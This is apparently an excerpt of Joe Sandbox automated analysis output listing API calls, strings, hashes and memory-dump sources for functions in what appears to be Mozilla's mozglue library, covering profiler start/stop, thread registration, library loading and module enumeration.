moz_xmalloc.MOZGLUE(00000018), ref: 6CAC45BB
InitOnceExecuteOnce.KERNEL32(6CB3F818,6CABF240,?,?), ref: 6CAC4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CAC4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CAC4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAC466D
VerSetConditionMask.NTDLL ref: 6CAC469F
VerSetConditionMask.NTDLL ref: 6CAC46AB
VerSetConditionMask.NTDLL ref: 6CAC46B2
VerSetConditionMask.NTDLL ref: 6CAC46B9
VerSetConditionMask.NTDLL ref: 6CAC46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAC46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CAC46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CAC46FD

Strings

kernel32.dll, xrefs: 6CAC44CD
NativeNtBlockSet_Write, xrefs: 6CAC46F7
WRusr.dll, xrefs: 6CAC44B5
user32.dll, xrefs: 6CAC4557, 6CAC463F
l, xrefs: 6CAC4578

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 39c9f54a8b6eeee8cb775b9714d323bd3818444418fa98f8d6797293dd1d1887
Instruction ID: e41274454a8785cc5f66c928153341bb7624ad33a7f475e4923c043246f9cf79
Opcode Fuzzy Hash: 39c9f54a8b6eeee8cb775b9714d323bd3818444418fa98f8d6797293dd1d1887
Instruction Fuzzy Hash: 246117B0700398EFEB208F64CC09BA97BB8EF46309F088599E90C9B641D7759985CF52

Function 6CAFE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CAFB9F1,?), ref: 6CAF7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CAFDCF5), ref: 6CAFE92D
GetCurrentThreadId.KERNEL32 ref: 6CAFEA4F
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEA5C
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEA80
GetCurrentThreadId.KERNEL32 ref: 6CAFEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CAFDCF5), ref: 6CAFEA92
GetCurrentThreadId.KERNEL32 ref: 6CAFEB11
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CAFEB3C
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEB5B

Part of subcall function 6CAF5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAFEB71), ref: 6CAF57AB

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CAFEBAC

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

GetCurrentThreadId.KERNEL32 ref: 6CAFEBC1
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8,?,?,00000000), ref: 6CAFEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CAFEBE5
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8,00000000), ref: 6CAFEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CAFEC46
CloseHandle.KERNEL32(?), ref: 6CAFEC55
free.MOZGLUE(00000000), ref: 6CAFEC5C

Strings

[I %d/%d] profiler_start, xrefs: 6CAFEBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CAFEA9B

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 89786656c4b85dab00fc34b597bbafaf53b36af90af65443eda451a24630ada8
Instruction ID: 06e719dc6705bd96124db6515a9f4b228e302ebd825c1bf4f84895045c4fdbb8
Opcode Fuzzy Hash: 89786656c4b85dab00fc34b597bbafaf53b36af90af65443eda451a24630ada8
Instruction Fuzzy Hash: 73A149317007148FDB20AF68C944BAE77B5FF86318F148469F92D87B51DB30988ACBA1

Function 6CAFF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CAFF8F9

Part of subcall function 6CAC6390: GetCurrentThreadId.KERNEL32 ref: 6CAC63D0
Part of subcall function 6CAC6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CAC63DF
Part of subcall function 6CAC6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAC640E

ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF93A
GetCurrentThreadId.KERNEL32 ref: 6CAFF98A
GetCurrentThreadId.KERNEL32 ref: 6CAFF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFF716

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

Part of subcall function 6CABB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CABB5E0

GetCurrentThreadId.KERNEL32 ref: 6CAFF739
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF746
GetCurrentThreadId.KERNEL32 ref: 6CAFF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB3385B,00000002,?,?,?,?,?), ref: 6CAFF829
free.MOZGLUE(?,?,00000000,?), ref: 6CAFF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CAFF866
free.MOZGLUE(?), ref: 6CAFFA0C

Part of subcall function 6CAC5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAC55E1), ref: 6CAC5E8C
Part of subcall function 6CAC5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC5E9D
Part of subcall function 6CAC5E60: GetCurrentThreadId.KERNEL32 ref: 6CAC5EAB
Part of subcall function 6CAC5E60: GetCurrentThreadId.KERNEL32 ref: 6CAC5EB8
Part of subcall function 6CAC5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC5ECF
Part of subcall function 6CAC5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CAC5F27
Part of subcall function 6CAC5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CAC5F47
Part of subcall function 6CAC5E60: GetCurrentProcess.KERNEL32 ref: 6CAC5F53
Part of subcall function 6CAC5E60: GetCurrentThread.KERNEL32 ref: 6CAC5F5C
Part of subcall function 6CAC5E60: GetCurrentProcess.KERNEL32 ref: 6CAC5F66
Part of subcall function 6CAC5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAC5F7E

free.MOZGLUE(?), ref: 6CAFF9C5
free.MOZGLUE(?), ref: 6CAFF9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CAFF9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6CAFF71F
Thread , xrefs: 6CAFF789
" attempted to re-register as ", xrefs: 6CAFF858

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 173980f1503a03732384edef010feca10dfba5061d5727d63221dcd97d892ca6
Instruction ID: 7f8a82058b99961dccece6b8acd3cf102ddfdb63ad1f2843046daac23fd8a08e
Opcode Fuzzy Hash: 173980f1503a03732384edef010feca10dfba5061d5727d63221dcd97d892ca6
Instruction Fuzzy Hash: 298146756003509FDB10DF24C980AAEB7F5EF85308F45456DE8599BB51EB30E88ECBA2

Function 6CAFEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFEE60
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEE6D
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CAFEEA5
CloseHandle.KERNEL32(?), ref: 6CAFEEB4
free.MOZGLUE(00000000), ref: 6CAFEEBB
GetCurrentThreadId.KERNEL32 ref: 6CAFEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFEECF

Part of subcall function 6CAFDE60: GetCurrentThreadId.KERNEL32 ref: 6CAFDE73
Part of subcall function 6CAFDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAC4A68), ref: 6CAFDE7B
Part of subcall function 6CAFDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAC4A68), ref: 6CAFDEB8
Part of subcall function 6CAFDE60: free.MOZGLUE(00000000,?,6CAC4A68), ref: 6CAFDEFE
Part of subcall function 6CAFDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CAFDF38

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

GetCurrentThreadId.KERNEL32 ref: 6CAFEF1E
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEF2B
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEF59
GetCurrentThreadId.KERNEL32 ref: 6CAFEFB0
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEFBD
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEFE1
GetCurrentThreadId.KERNEL32 ref: 6CAFEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFF000

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CAFF02F

Part of subcall function 6CAFF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAFF09B
Part of subcall function 6CAFF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CAFF0AC
Part of subcall function 6CAFF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CAFF0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6CAFEED7
[I %d/%d] profiler_pause, xrefs: 6CAFF008

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 196520ca23732ca945e76646b17f4c606762b310daf2a9887fe86ec63a4c8e51
Instruction ID: 6f448875762ccb773a7a08916c9f0ab51231f6a528e7cbd33409870430b2b10a
Opcode Fuzzy Hash: 196520ca23732ca945e76646b17f4c606762b310daf2a9887fe86ec63a4c8e51
Instruction Fuzzy Hash: 27512935604660DFEB205F68D9087AD77B4EB46369F140599F92D83B81DB30588EC7E2

Function 6CAC5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC5E9D

Part of subcall function 6CAD5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAD56EE,?,00000001), ref: 6CAD5B85
Part of subcall function 6CAD5B50: EnterCriticalSection.KERNEL32(6CB3F688,?,?,?,6CAD56EE,?,00000001), ref: 6CAD5B90
Part of subcall function 6CAD5B50: LeaveCriticalSection.KERNEL32(6CB3F688,?,?,?,6CAD56EE,?,00000001), ref: 6CAD5BD8
Part of subcall function 6CAD5B50: GetTickCount64.KERNEL32 ref: 6CAD5BE4

GetCurrentThreadId.KERNEL32 ref: 6CAC5EAB
GetCurrentThreadId.KERNEL32 ref: 6CAC5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CAC6017

Part of subcall function 6CAB4310: moz_xmalloc.MOZGLUE(00000010,?,6CAB42D2), ref: 6CAB436A
Part of subcall function 6CAB4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAB42D2), ref: 6CAB4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CAC5F47
GetCurrentProcess.KERNEL32 ref: 6CAC5F53
GetCurrentThread.KERNEL32 ref: 6CAC5F5C
GetCurrentProcess.KERNEL32 ref: 6CAC5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAC5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CAC5F27

Part of subcall function 6CACCA10: mozalloc_abort.MOZGLUE(?), ref: 6CACCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAC55E1), ref: 6CAC5E8C

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAC55E1), ref: 6CAC605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAC55E1), ref: 6CAC60CC

Strings

GeckoMain, xrefs: 6CAC5ECE, 6CAC6015

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 08e4e55f0bf4f85d02436b8b841056d1dd810cb2364dab610eb85c7d80f4708d
Instruction ID: 37f3e10c6982e7044eafcd9172ffe3b471a35b779d1b2099fbb2edd33c3ab655
Opcode Fuzzy Hash: 08e4e55f0bf4f85d02436b8b841056d1dd810cb2364dab610eb85c7d80f4708d
Instruction Fuzzy Hash: 7571A2B0604780DFD714DF29C580A6ABBF0FF5A308F54496DE48A87B52D771E988CB92

Function 6CAC9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CAB3217
Part of subcall function 6CAB31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CAB3236
Part of subcall function 6CAB31C0: FreeLibrary.KERNEL32 ref: 6CAB324B
Part of subcall function 6CAB31C0: __Init_thread_footer.LIBCMT ref: 6CAB3260
Part of subcall function 6CAB31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CAB327F
Part of subcall function 6CAB31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAB328E
Part of subcall function 6CAB31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAB32AB
Part of subcall function 6CAB31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAB32D1
Part of subcall function 6CAB31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAB32E5
Part of subcall function 6CAB31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAB32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAC9675
__Init_thread_footer.LIBCMT ref: 6CAC9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAC96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAC9707
__Init_thread_footer.LIBCMT ref: 6CAC971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAC9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAC97B7
FreeLibrary.KERNEL32 ref: 6CAC97D0
FreeLibrary.KERNEL32 ref: 6CAC97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAC9824

Strings

NtMapViewOfSection, xrefs: 6CAC9701
MapViewOfFileNuma2, xrefs: 6CAC97B1
ntdll.dll, xrefs: 6CAC96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAC9670

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: f5999c68a70a5bf5bb04934c3b380175b877ed4c3d9f0f8a24554158fcc37f96
Instruction ID: 89f9443adf4023fe9c4300dce77be5796d5a841770a78303229ed07fe34d3c59
Opcode Fuzzy Hash: f5999c68a70a5bf5bb04934c3b380175b877ed4c3d9f0f8a24554158fcc37f96
Instruction Fuzzy Hash: 37610571700255DFDF10DF78EA88B9E3BB5EB4A328F044559E91D97B80D730A898CB92

Function 6CAC7FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CAC8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CAC801D

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CAC802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CAC803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CAC808D

Part of subcall function 6CACCA10: mozalloc_abort.MOZGLUE(?), ref: 6CACCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CAC809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CAC80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CAC80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CAC8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CAC8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CAC8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CAC817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC8199

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 3eb9d3e7d3c8dffa6be3354083d69b07731e35edb2f2a7a8a80862ef500db175
Instruction ID: 138578a572c50551a66f8ebaedc45deded015f716e2dbba4fd85e280e293fe33
Opcode Fuzzy Hash: 3eb9d3e7d3c8dffa6be3354083d69b07731e35edb2f2a7a8a80862ef500db175
